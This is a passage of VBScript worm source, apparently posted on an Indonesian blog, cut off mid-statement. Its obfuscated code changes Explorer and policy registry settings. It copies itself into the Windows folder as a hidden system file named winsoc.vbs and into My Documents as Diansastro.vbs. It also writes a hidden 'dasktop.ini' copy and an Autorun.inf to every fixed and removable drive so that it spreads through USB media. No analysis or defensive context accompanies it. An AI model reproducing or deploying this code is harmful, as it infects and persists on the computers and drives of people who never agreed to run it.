DB5cR1p7x93nT.RegWrite almreg & "Explorer\Advanced\Hidden","0","REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "Explorer\Advanced\HideFileExt","0","REG_DWORD"
DB5cR1p7x93nT.Regwrite almreg & "Explorer\Advanced\ShowSuperHidden","0x00000001"
almreg = "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"
DB5cR1p7x93nT.RegWrite almreg & "NoRun", "0", "REG_DWORD"
DB5cR1p7x93nT.RegWrite almreg & "NoFolderOptions", "0", "REG_DWORD"
set b3b15cR17Th=fs.getspecialfolder(0)
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\winsoc.vbs")
b3b15cR17Tfn.attributes=32
set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Th &"\winsoc.vbs")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Th &"\winsoc.vbs")
b3b15cR17Tfn.attributes=39
set b3b15cR17Twsl=createobject("wscript.shell")
b3b15cR17Tdc=b3b15cR17Twsl.specialfolders("MyDocuments")
set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdc &"\Diansastro.vbs")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close
for each b3b15cR17Tdrive in fs.drives
if (b3b15cR17Tdrive.drivetype=1 or b3b15cR17Tdrive.drivetype=2) and b3b15cR17Tdrive.path<>"A:" then
set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\dasktop.ini")
b3b15cR17Tfn.attributes=32
set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdrive.path &"\dasktop.ini")
b3b15cR17Tfn.write b3b15cR17Tv
b3b15cR17Tfn.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\dasktop.ini")
b3b15cR17Tfn.attributes=39
set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive.path &"\Autorun.inf")
b3b15cR17Tfn.attributes=32
set b3b15cR17Tfn=fs.createtextfile(b3b15cR17Tdrive.path &"\Autorun.inf")
b3b15cR17Tfn.write b3b15cR17Trn
b3b15cR17Tfn.close
set b3b15cR17Tfn=fs.getfile(b3b15cR17Tdrive
Langganan:
Postingan (Atom)

